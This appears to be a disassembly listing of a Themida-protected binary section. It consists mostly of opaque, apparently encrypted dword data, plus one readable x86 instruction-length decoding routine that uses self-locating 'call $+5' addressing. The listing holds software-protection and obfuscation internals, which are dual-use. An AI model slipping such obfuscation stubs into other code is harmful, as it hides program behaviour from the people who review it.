		dd 0EBC08B06h, 3F4EED2Ch, 84A02498h, 6437EF17h,	0B12CFC39h
		dd 555DA92Ah, 4383995Eh, 54D275D5h, 66DEBA0Ch, 757BA001h
		dd 1FF75A98h, 40F37CC7h, 0CC13D027h, 0A04A03EAh, 55AE64A6h
		dd 4171A2F2h, 3D358306h, 0EC70187Ah, 0AF85A7FCh, 0D1854881h
		dd 9A240333h, 0EE787944h, 39884D20h, 0ED337C2Fh, 0EC5A363Ch
		dd 0EC5FD933h, 0EC360466h, 0B1157633h, 80BC66F0h, 0A8B49917h
		dd 0EC2CCA17h, 0B9706733h, 0D9DE77F0h, 56A9461Ch, 0CF8F55E6h
		dd 5C4C13Ch, 0EC35385Fh, 4609D59h, 0EC35CE30h, 0B1F63A13h
		dd 0E811DFBAh, 0E8119DB2h, 0EC35EC2Eh, 4EF62376h, 5B74B70Ch
		dd 0FA3F85D4h, 0EC2127C7h, 0DBB26733h, 0C2799C3Fh, 0B2F3B14Fh
		dd 5E77E737h, 0A5D7E884h, 533A630Bh, 49881ECDh,	0EC33D52Dh
		dd 0EC18E33Ch, 0E7DCB333h, 0D35D933h, 7F61DBECh, 466CA8C4h
		dd 35B45663h, 0A9B6364Ah, 0EC36CDDAh, 0EC388E33h, 4E34B333h
		dd 5C143328h, 3CA5902h,	61F51DFCh, 0CC552FB6h, 0E3DB1D35h
		dd 0D38BA863h, 0C831EE35h, 0DEDF3255h, 1AB054E1h, 8633CC6Ch
		dd 0EFDD2533h, 0CC353B33h, 656E5E68h, 6D31EA6Fh, 0F1314377h
		dd 0AF35B333h, 0BF51A60h, 5EB2B8B8h, 0BC1F18F9h, 0E365E8B8h
		dd 0EC3597B5h, 0EC302733h, 0D0EB6733h, 0B2B45CE2h, 0BE6589A3h
		dd 6753DD3Ch, 7C6D2CC1h, 0E140AECCh, 0AB8B9B28h, 676C72EBh
		dd 3D88E4F3h, 0EC33A810h, 51B6D046h, 0EA2EDD1Ah, 0BC2C0233h
		dd 54F5B060h, 0EC359949h, 0C1944BBAh, 71B86128h, 0EA28157Eh
		dd 0B46E0ACCh, 0DD1C51B0h, 98357028h, 54666B24h, 0EC359949h
		dd 0C1944BBAh, 71B86128h, 0EA28100Fh, 0B46E0ACCh, 463EC59h
		dd 0EC357630h, 0B2F66513h, 0E811E9BAh, 0E8118AB2h, 0EC356724h
		dd 8FF6E575h, 5AC0DA0h,	0EC35EC3Eh, 0C1D2C4A1h,	929A0C93h
		dd 60A1FC4Ch, 0BB4A837h, 0E4DC9CD1h, 1935B333h,	0BEFB1012h
		dd 676F1762h, 0AD8F16F3h, 5772F16h, 0EC359D34h,	785F8361h
		dd 8D7B13CCh, 0B3CB2EBEh, 5353DF13h, 5553BF90h,	69B89C8Eh
		dd 0EA1567F9h, 3DBEFB64h, 0E7E5316Ch, 94B168F3h, 8635B333h
		dd 0EFDD8A33h, 0CC35EC33h, 656EB568h, 6D311F6Fh, 0F431B977h
		dd 0AF35CE33h, 670EA460h, 0BB7A3A6Bh, 71B883CAh, 0EA2EA0E0h
		dd 0EC65CC55h, 0EC35388Bh, 0E8B49233h, 8A35CE33h, 13D41B8Dh
		dd 0B935D9D0h, 0EC35DADBh, 2F68CC33h, 0C859FF6Eh, 0C871BA37h
		dd 0EC358737h, 2F608B33h, 0F481EEACh, 5355262h,	0EC35D93Fh
		dd 0A1D66D6Ah, 1C05AA62h, 0C8EE1D82h, 0C3C82763h, 616B83DBh
		dd 0CC5561AEh, 2BE40935h, 69B8CF06h, 0EA15B0F9h, 4667659h
		dd 0EC353B30h, 0B7F6C613h, 0E81192BAh, 0E81123B2h, 0EC35B324h
		dd 89F68A70h, 14BB5385h, 3CCA82B9h, 0EC39BD3Ch,	0EBDC9D33h
		dd 5B35CE33h, 0A18757FDh, 2C3E1279h, 0EC0F5D3Ch, 71B8EC33h
		dd 0EA2E3AE0h, 0EC35BB3Ch, 0ED8D9D33h, 8C35CE33h, 0D3FCE655h
		dd 0EEB3BC8Ch, 0BC35D933h, 0FCA8D69h, 0EC3565DAh, 54DD2E33h
		dd 73A2C090h, 378337C7h, 4D3B1B27h, 2AF320Dh, 8C3E44BEh
		dd 5353EA13h, 69B8735Ch, 0EA1567F9h, 99C41C55h,	5E53162h
		dd 0EC35673Fh, 0C03A3349h, 0A74C1BE9h, 6A9388BDh, 683AB638h
		dd 0EC353BBFh, 0EC1B143Ch, 0E2DDCE33h, 0BF356733h, 110AEABEh
		dd 0C70E6F2Ah, 86A494F4h, 0EC219E53h, 909B3B33h, 0C31004DBh
		dd 195C337Ch, 0FDE12C3Ch, 5C63DAAFh, 0B26CB8EFh, 0A0E671BEh
		dd 5647028h, 0EC353B23h, 0E4253A7h, 95FF01DBh, 0E61BD530h
		dd 0D1B1259Fh, 0EC383069h, 190EEC33h, 561F31Ah,	0AA073A7Bh
		dd 540A6322h, 0EC35CE30h, 0EC5F84CCh, 0EC365B61h, 0B615D933h
		dd 0B8BCB6F0h, 0A8B47217h, 0EC2C3F17h, 0BE779D33h, 6D7286F0h
		dd 14EA04F2h, 61C43870h, 0CC6A2D8Eh, 0EB86135h,	54335650h
		dd 667E674Eh, 0FBBC1800h, 231EC828h, 61AE61F2h,	935CC55h
		dd 0CF062BE4h, 0B0F969B8h, 7659EA15h, 3B300466h, 8313EC35h
		dd 0A4F305E9h, 6AC08Bh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 0F28714C3h, 0A6BEED52h, 60399825h
		dd 0C9BA66FCh, 8C0F61EDh, 0
		dd 12E9h, 65C12B00h, 0A93A67E0h, 0FA3FE0CDh, 0A0DF3467h
		dd 8B390CE9h, 8BCE8BC3h, 0EE8C0h, 25A70000h, 769B30EDh
		dd 0A0F4883Eh, 5E0DE1B4h, 0D1BD835Eh, 61B23h, 0BD830975h
		dd 61B3129h, 50197400h,	0B8C08B53h, 47Ah, 21318589h, 9D8D061Bh
		dd 61DA6B4h, 585BD3FFh,	3129BD83h, 7400061Bh, 0B8535017h
		dd 47Ah, 21318589h, 9D8D061Bh, 61DA355h, 585BD3FFh, 0BC39B966h
		dd 3CE9C08Bh, 1, 4Eh dup(0)
		dd 83000000h, 1B08BDBDh, 840F0106h, 46Fh, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 18h, 5AC35646h, 0DA047F3Bh
		dd 85C6F5F8h, 61B239Dh,	6E943h,	1D4A0000h, 0A7CA855Fh
		dd 80DB0168h, 2FB4608Eh, 840F60h, 8B000000h, 816161C3h
		dd 0BF42434h, 66606225h, 8BF65FB8h, 0B5FF61C7h,	61B2F11h
		dd 46858DFCh, 0F061E70h, 187h, 0D0FFF500h, 1820Fh, 89F90000h
		dd 1B214585h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 4A517371h, 60815DBDh, 0EE8h, 0C9A8B400h
		dd 781F0257h, 83FDD9B9h, 60AB40C7h, 0F9615861h,	239D85C6h
		dd 0E950061Bh, 13h, 52650B1Dh, 0B2C1CEB6h, 0EC4FB834h
		dd 0A98C07CCh, 0E8950FDFh, 4, 0A8ADAD56h, 9E9h,	0DAB56A00h
		dd 74B97DD1h, 0F50A6D0h, 68Eh, 5E566000h, 8B616160h, 60042444h
		dd 8B66D78Bh, 8B61C6h, 0E8D78B60h, 7, 6467AAD6h, 8B0BB629h
		dd 896159D0h, 50042444h, 50525052h, 5A310F52h, 50310F58h
		dd 5A310F52h, 0F585A58h, 2840F31h, 60000000h, 58585A61h
		dd 0B5FF6160h, 61B2F11h, 1860FF9h, 0F5000000h, 7046858Dh
		dd 0FC60061Eh, 0FF61D88Bh, 50006AD0h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 0C870B353h
		dd 5374B201h, 8D0F09FEh, 8, 41B86660h, 61F18B58h, 237D8589h
		dd 6A061Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 756AF4C3h, 9BBE9AF1h, 68FCE334h, 0F69EBE9Eh
		dd 8800Fh, 850F0000h, 2, 34816160h, 1116B124h, 6660FC06h
		dd 0E7F6F081h, 10E9h, 900B0200h, 0F21EE52Ch, 5E8F2BC3h
		dd 0A6761313h, 0B5FF6130h, 61B2F11h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 31C35040h, 2B1CCC13h, 4C36A1D6h
		dd 7046858Dh, 0FFF9061Eh, 8589F5D0h, 61B1959h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 15C35747h, 239D85C6h
		dd 0F50061Bh, 0F81h, 0AE900h, 2D9C0000h, 6070FB77h, 4A72CCE9h
		dd 7FFD9468h, 5E951h, 0C70D0000h, 8113607Ah, 0DEC22404h
		dd 0FFFC461Ch, 1B2BF9B5h, 1850F06h, 0FC000000h,	391F858Dh
		dd 6060061Bh, 0DEC68166h, 0EABF615Dh, 6157F7ECh, 430BBA60h
		dd 0DB803733h, 0D0FF61FBh, 12E9h, 944B4F00h, 290A6DBEh
		dd 164BFACh, 0EBB6C36h,	8997AA26h, 1B32B585h, 0BF0F6006h
		dd 2800FFAh, 0B7000000h, 9CE96106h, 6A000001h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 0B9FCC350h, 0AA065255h, 0BE9F7h, 0A2620000h,	68FD1C3Eh
		dd 0A21A5201h, 7810F86h, 0F000000h, 18Ah, 6050FC00h, 8BCF8B66h
		dd 2C8961DEh, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 15C9267Fh, 666035F9h, 0DE81FE8Bh
		dd 112E9627h, 6AEC8B61h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 9A83C357h, 0FCC48378h
		dd 138A0Fh, 0EE90000h, 62000000h, 727DE0DBh, 452EC731h
		dd 31E6C08Ah, 6A6013h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 0DAEDEC3h, 8E0F4E55h, 1,	0E8FCh
		dd 815A0000h, 2069B5EAh, 0FC45C706h, 0
		dd 8BDBA83h, 0F01061Bh,	9884h, 6A5200h,	92FF0F6Ah, 61B2145h
		dd 0BA82895Ah, 8D062064h, 2064BE9Ah, 3C75206h, 128h, 92FF5053h
		dd 61B237Dh, 9A8D525Ah,	62064BEh, 0BAB2FF53h, 0FF062064h
		dd 1B32B592h, 0C00B5A06h, 9A8D5074h, 62064BEh, 33247B8Dh
		dd 4F981C9h, 74000001h,	3C8141D4h, 58452E39h, 8DEE7545h
		dd 752B3934h, 19BA8D0Ch, 8B061B04h, 0A4F30C4Dh,	52AAC032h
		dd 8D0875FFh, 1B041982h, 92FF5006h, 61B1959h, 75C00B5Ah
		dd 0FC45C7A0h, 1, 45C707EBh, 0FCh, 458B6100h, 8C2C9FCh
		dd 8BFCF900h, 6C8D8DD2h, 6A06206Bh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 4C26C356h
		dd 14E997h, 56B40000h, 8BDE1955h, 9F683B7Dh, 0DA71975Fh
		dd 66527555h, 5353E7CDh, 6D27BA66h, 0B8665E5Fh,	8D89085Bh
		dd 61B2429h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	67C35343h, 7800D638h, 5E9EEB0h,	72000000h, 968800C6h
		dd 76585C7h, 58D4061Bh,	6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 37BFE5C3h, 0C7370B3Bh
		dd 1B13D185h, 6, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 958BF778h, 61B182Dh, 981B5FFh
		dd 8E0F061Bh, 6, 13E1958Bh, 95FF061Bh, 61B2F85h, 1A5950Bh
		dd 6A061Bh, 220595FFh, 0C08B061Bh, 0C9630AEBh, 15D9E148h
		dd 9F3B3AC9h, 266E9h, 8C666000h, 4C1F6D9h, 35840Fh, 16A0000h
		dd 2BF9B5FFh, 858D061Bh, 61E7046h, 8589D0FFh, 61B1865h
		dd 0EFC1FE8Bh, 680Ch, 6A2006h, 6857026Ah, 1000Dh, 186595FFh
		dd 32E9061Bh, 0C6000000h, 1B239D85h, 0DF685606h, 0FFA9C530h
		dd 1B2F11B5h, 46858D06h, 0FF061E70h, 898589D0h,	8D061B22h
		dd 1B1BA585h, 406A5006h, 0FF56056Ah, 1B228995h,	0C36106h
		dd 2 dup(0)
		dd 52000000h, 8B60D48Bh, 85890842h, 6206BFEh, 890C428Bh
		dd 206BF685h, 10428B06h, 6BFA8589h, 0B58D0620h,	6206C34h
		dd 7E35858Dh, 0D0FF005Bh, 0CC25A61h, 0FEB58B00h, 8B06206Bh
		dd 206BF685h, 0FABD8306h, 6206Bh, 7840Fh, 6890000h, 2E9h
		dd 0CF068800h, 2 dup(0)
		dd 60D48B52h, 8908428Bh, 206BFE85h, 85B58D06h, 8D06206Ch
		dd 5B7E3585h, 61D0FF00h, 0FE858B5Ah, 0C206206Bh, 858B0004h
		dd 6206BFEh, 8589008Bh,	6206BFEh, 0CFh,	0B5896000h, 6206C5Bh
		dd 6C578589h, 858D0620h, 61B3075h, 8944408Bh, 206C9485h
		dd 0CAB58D06h, 8D06206Ch, 5B7E3585h, 61D0FF00h,	6C5B858Bh
		dd 8BC30620h, 206C579Dh, 43B70F06h, 8BD8033Ch, 9D03785Bh
		dd 6206C57h, 324738Bh, 206C57B5h, 7B8B5606h, 1C738B20h
		dd 6C57BD03h, 0B5030620h, 6206C57h, 0FFC983FCh,	5B9D8B41h
		dd 8B06206Ch, 57950317h, 8306206Ch, 28A04C7h, 840FC084h
		dd 0Fh,	850F033Ah, 0FFFFFFDCh, 0E7E94243h, 3AFFFFFFh, 0CD850F03h
		dd 5FFFFFFFh, 0B70FE1D1h, 48B0F04h, 57850386h, 8906206Ch
		dd 206C5B85h, 8BF08B06h, 81C18BCEh, 206C94BDh, 30000006h
		dd 0D850FC0h, 0C1000000h, 0FC2514E8h, 0E900000Fh, 8, 2512E8C1h
		dd 3FF8h, 6C94BD8Bh, 0C830620h,	148B0607h, 24C28B07h, 8B813C81h
		dd 57840FC1h, 81000000h, 206C94BDh, 30000006h, 0D850FC0h
		dd 0C1000000h, 0FC250AE8h, 0E9003FFFh, 8, 2509E8C1h, 7FFFF8h
		dd 2Dh,	6088340h, 8000F7h, 840F0000h, 1Eh, 6C94BD81h, 620h
		dd 840FC030h, 0Eh, 3FF825h, 808B00h, 83C06000h,	8DCF0608h
		dd 206C0285h, 35858906h, 8D061B31h, 206C9885h, 89858906h
		dd 8D061B2Eh, 206C5F85h, 4D858906h, 0E8061B02h,	0Eh, 7B08446Ch
		dd 5F3270DDh, 53DBD340h, 8B8D177h, 5B12CFF3h, 7E960h, 728D0000h
		dd 9469FAA1h, 59F85734h, 52C38161h, 0F00006Eh, 684h, 82E28100h
		dd 683C261Fh, 1B62h, 1840F51h, 0FC000000h, 8BF55F5Ah, 58A0F33h
		dd 0BA000000h, 728C0A82h, 91DFC681h, 81662213h,	81F330C0h
		dd 7D8BFDF6h, 2810F15h,	8A000000h, 79EE81F3h, 8A12E269h
		dd 0C68B56E5h, 14E9038Fh, 9000000h, 0BEEC01FAh,	3880ED75h
		dd 0B6BF6ED9h, 9439751h, 83B3A326h, 0BF0F04EBh,	1EF81D0h
		dd 0F000000h, 0D85h, 37CA8000h,	21E9h, 0FEA60C00h, 816617E6h
		dd 0E9AFAAC0h, 0FFFFFF8Bh, 9F3790FCh, 0C47FFB54h, 1E8E65AFh
		dd 8B7B2E25h, 0C8E96E18h, 88000001h, 7 dup(88004188h)
		dd 4188h, 4 dup(0)
		dd 0C4000088h, 11000091h, 11111111h, 0C9111111h, 88888899h
		dd 888888h, 0
		dd 44000006h, 41000044h, 11000000h, 44111111h, 99444444h
		dd 3C98802h, 88001002h,	88001188h, 11888888h, 44111111h
		dd 16h,	880000h, 88880000h, 88h, 88008000h, 8888888h, 88000000h
		dd 88080888h, 888888h, 0
		dd 88000000h, 88888888h, 80888888h, 3 dup(88888888h), 99880088h
		dd 88899h, 44880000h, 44444444h, 88444444h, 88888888h
		dd 888888h, 9980h, 88889980h, 888888h, 88888889h, 899988h
		dd 80000000h, 88808888h, 88888888h, 88808888h, 80888888h
		dd 88888888h, 26088888h, 643E362Eh, 0F0676665h,	0F3F2h
		dd 0FF000000h, 0E6FFFFFFh, 0FA004016h, 4016h, 0
		dd 1000000h, 14h dup(0)
		dd 0C3000000h, 77ED6380h, 1000075h, 11h	dup(0)
		dd 0E9000000h, 353h, 0E855h, 815D0000h,	2070B5EDh, 85C76006h
		dd 6207002h, 0
		dd 663E8166h, 0F850FA1h, 0C7000000h, 20700685h,	606h, 24E900h
		dd 858D0000h, 620700Ah,	5A858D50h, 50062070h, 0E8006A56h
		dd 1Dh,	2510C483h, 0FFh, 70068589h, 3610620h, 207006B5h
		dd 2858B06h, 5D062070h
		db 0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_584636
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_584642
; ---------------------------------------------------------------------------

loc_584636:				; CODE XREF: Themida_:0058461Fj
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4

loc_584642:				; CODE XREF: Themida_:00584631j
		push	ebx
		push	esi
		push	edi

loc_584645:				; CODE XREF: Themida_:0058469Aj
					; Themida_:005846B6j ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl

loc_584658:				; CODE XREF: Themida_:0058467Fj
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 620716Ch
		lea	ebp, [ebp+6206FE2h]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_584685
		inc	cl
		cmp	cl, 0Bh
		jb	loc_584658

loc_584685:				; CODE XREF: Themida_:00584674j
		cmp	cl, 0Bh
		jz	loc_5846E2
		cmp	al, 66h
		jnz	loc_5846C3
		cmp	byte ptr [ebp-5], 0
		jnz	loc_584645
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_5846BB
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_584645
; ---------------------------------------------------------------------------

loc_5846BB:				; CODE XREF: Themida_:005846A8j
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4

loc_5846C3:				; CODE XREF: Themida_:00584690j
		cmp	al, 67h
		jnz	loc_584645
		cmp	byte ptr [ebp-6], 0
		jnz	loc_584645
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_584645
; ---------------------------------------------------------------------------

loc_5846E2:				; CODE XREF: Themida_:00584688j
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_58470E
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_584713
; ---------------------------------------------------------------------------

loc_58470E:				; CODE XREF: Themida_:005846EDj
		movzx	edi, al
		shr	edi, 1

loc_584713:				; CODE XREF: Themida_:00584709j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6207224h
		lea	ebp, [ebp+6206EE2h]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_584895
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_5847D9
		dec	ecx
		jz	loc_5847BC
		dec	ecx
		jnz	loc_58482C
		cmp	byte ptr [ebp-2], 0
		jnz	loc_584828
		cmp	byte ptr [ebp-5], 0
		jz	loc_58479B
		mov	byte ptr [ebp+0Bh], 2

loc_58479B:				; CODE XREF: Themida_:00584791j
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 62072B0h
		mov	dword ptr [ebp+6207002h], 1
		pop	ebp
		jmp	loc_58482C
; ---------------------------------------------------------------------------

loc_5847BC:				; CODE XREF: Themida_:00584776j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_584806
		cmp	byte ptr [ebp-5], 0
		jz	loc_584806
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_584806
; ---------------------------------------------------------------------------

loc_5847D9:				; CODE XREF: Themida_:0058476Fj
		cmp	byte ptr [ebp-2], 0
		jnz	loc_58481F
		cmp	byte ptr [ebp-5], 0
		jz	loc_58480E
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_584806
		mov	[ebp+0Bh], cl

loc_584806:				; CODE XREF: Themida_:005847C0j
					; Themida_:005847CAj ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_58482C
; ---------------------------------------------------------------------------

loc_58480E:				; CODE XREF: Themida_:005847E7j
		cmp	dl, 5
		jnz	loc_58482C
		mov	[ebp+0Bh], dl
		jmp	loc_58482C
; ---------------------------------------------------------------------------

loc_58481F:				; CODE XREF: Themida_:005847DDj
		cmp	dl, 6
		jnz	loc_58482C

loc_584828:				; CODE XREF: Themida_:00584787j
		mov	byte ptr [ebp+0Bh], 3

loc_58482C:				; CODE XREF: Themida_:0058477Dj
					; Themida_:005847B7j ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_58485A
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx

loc_58483C:				; CODE XREF: Themida_:00584852j
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_58483C
		mov	esi, edx

loc_58485A:				; CODE XREF: Themida_:0058482Fj
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_58488F
		cmp	edi, 7Fh
		ja	loc_58488F
		test	bl, 38h
		jnz	loc_58488F
		cmp	byte ptr [ebp-7], 0
		jz	loc_584889
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_58488C
; ---------------------------------------------------------------------------

loc_584889:				; CODE XREF: Themida_:0058487Aj
		push	1
		pop	eax

loc_58488C:				; CODE XREF: Themida_:00584884j
		mov	[ebp-1], al

loc_58488F:				; CODE XREF: Themida_:0058485Ej
					; Themida_:00584867j ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]

loc_584895:				; CODE XREF: Themida_:0058473Fj
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_5848C0
		dec	eax
		dec	eax
		jz	loc_5848B6
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_5848C8
; ---------------------------------------------------------------------------

loc_5848B6:				; CODE XREF: Themida_:005848A5j
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_5848C5
; ---------------------------------------------------------------------------

loc_5848C0:				; CODE XREF: Themida_:0058489Dj
		mov	al, [ebp-3]
		add	al, 4

loc_5848C5:				; CODE XREF: Themida_:005848BBj
		add	[ebp-1], al

loc_5848C8:				; CODE XREF: Themida_:005848B1j
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_5848F0
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx

loc_5848DB:				; CODE XREF: Themida_:005848EAj
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_5848DB

loc_5848F0:				; CODE XREF: Themida_:005848D0j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0B38D8DD0h, 0F062074h, 681h,	359D8B00h, 89061B11h, 1B24298Dh
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 358E4A18h, 10BDB589h, 0EAB8061Bh, 0C71CF54Dh
		dd 1B076585h, 634406h, 1D852900h, 0C7061B18h, 1B13D185h
		dd 6, 71B53100h, 29061B24h, 1B21E995h, 81B5FF06h, 6A061B09h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 0DF21C355h, 0F3D63D77h, 47DF7182h, 1861B589h
		dd 9523061Bh, 61B1AA5h,	2F8595FFh, 0CF80061Bh, 0FF006A21h
		dd 1B220595h, 0EBC08B06h, 1B78610Ah, 8F8FC2C8h,	0E892EAF2h
		dd 7, 1AA6B020h, 80EE2F9Eh, 815EE8EAh, 8B9C24CFh, 95C68159h
		dd 66000064h, 0FD68D08Bh, 8B000018h, 1B1985BDh,	1E8B5906h
		dd 95A8C381h, 0F38126C3h, 7D2C4071h, 65F381F8h,	0E96C2589h
		dd 0Bh,	9460A5AEh, 1A237BDh, 899C39C4h,	6E81Eh,	0BE8B0000h
		dd 8678C61Ah, 5F27BF52h, 5F5A2864h, 0EE29EE81h,	0FA8B564Eh
		dd 0EE25C681h, 8D89564Eh, 61B08C5h, 1E981h, 850F0000h
		dd 12h,	28D0Fh,	0C78B0000h, 18E9h, 0DBA38E00h, 8E0F0583h
		dd 2, 87E938B0h, 0F2FFFFFFh, 8028B76Ch,	4C8D8DEDh, 8B062076h
		dd 1B08D5B5h, 298D8906h, 6A061B24h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 31DEC357h
		dd 8A0FB47Bh, 6, 61FAC281h, 958B15E2h, 61B1EF1h, 76585C7h
		dd 72F8061Bh, 8B660000h, 0D185C7D8h, 61B13h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 1A0FC350h, 0FDB5FFBDh, 6A061B02h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 89A7C351h, 1B083DB5h, 8595FF06h, 6A061B2Fh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 58C1C352h, 42B8D16Fh, 18E8B51h, 1B2D51B5h, 0F28B6606h
		dd 0EB5BD29h, 6A061Bh, 220595FFh, 0C08B061Bh, 81CC19EBh
		dd 0D0D59418h, 0BA154011h, 0CB49A7ADh, 0F12DFE8Fh, 7ED09C22h
		dd 8DA2061Ah, 20774D8Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 588A4D72h, 523FC86Eh
		dd 8D8924F8h, 61B2429h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 25C35545h, 0DE96E12h,	2E000000h, 463F1C20h
		dd 81324A44h, 482D9F06h, 76585C7h, 6D54061Bh, 0B6F50000h
		dd 0D185C73Bh, 61B13h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 71E7C352h
		dd 8B6B748Ah, 1B29B195h, 99B5FF06h, 57061B22h, 3810Fh
		dd 0D6800000h, 95FF58CDh, 61B2F85h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 0B4C35242h,	0AADBDC82h, 0F9BD8B0Ah
		dd 6A061B19h, 595FF00h,	8B061B22h, 0E00AEBC0h, 74877672h
		dd 9398E4D6h, 0E9C08BBBh, 11h, 0F25B83F1h, 550DAEDEh, 41FD374Eh
		dd 4922AC36h, 0D1BD8378h, 61B23h, 0BD830975h, 61B3129h
		dd 50197400h, 0B8C08B53h, 3FCh,	2DA18589h, 9D8D061Bh, 61DA64Dh
		dd 585BD3FFh, 3129BD83h, 7400061Bh, 0B8535017h,	3FCh, 2DA18589h
		dd 9D8D061Bh, 61DA33Ch,	585BD3FFh, 6ADF8B66h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 8B3EC351h, 0F6060C0h, 8Ch, 1BD58000h, 0FE8B6661h, 0D5BD8361h
		dd 1061B1Ch, 8E840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 5C3139C3h, 470B2766h
		dd 0EE8F82Ah, 68000000h, 8C50A3BDh, 38D76180h, 71A32C26h
		dd 8CB5606Eh, 0BD835B61h, 61B1EA5h, 45850F00h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 0FCE3C353h, 85B3363Eh, 812891C6h,	0FC467EF3h
		dd 35BD8356h, 61B13h, 69840Fh, 0B70F0000h, 5820FDAh, 66000000h
		dd 0DD2BF281h, 32BE9h, 16850F00h, 0E9000000h, 11h, 0FE9AB1FCh
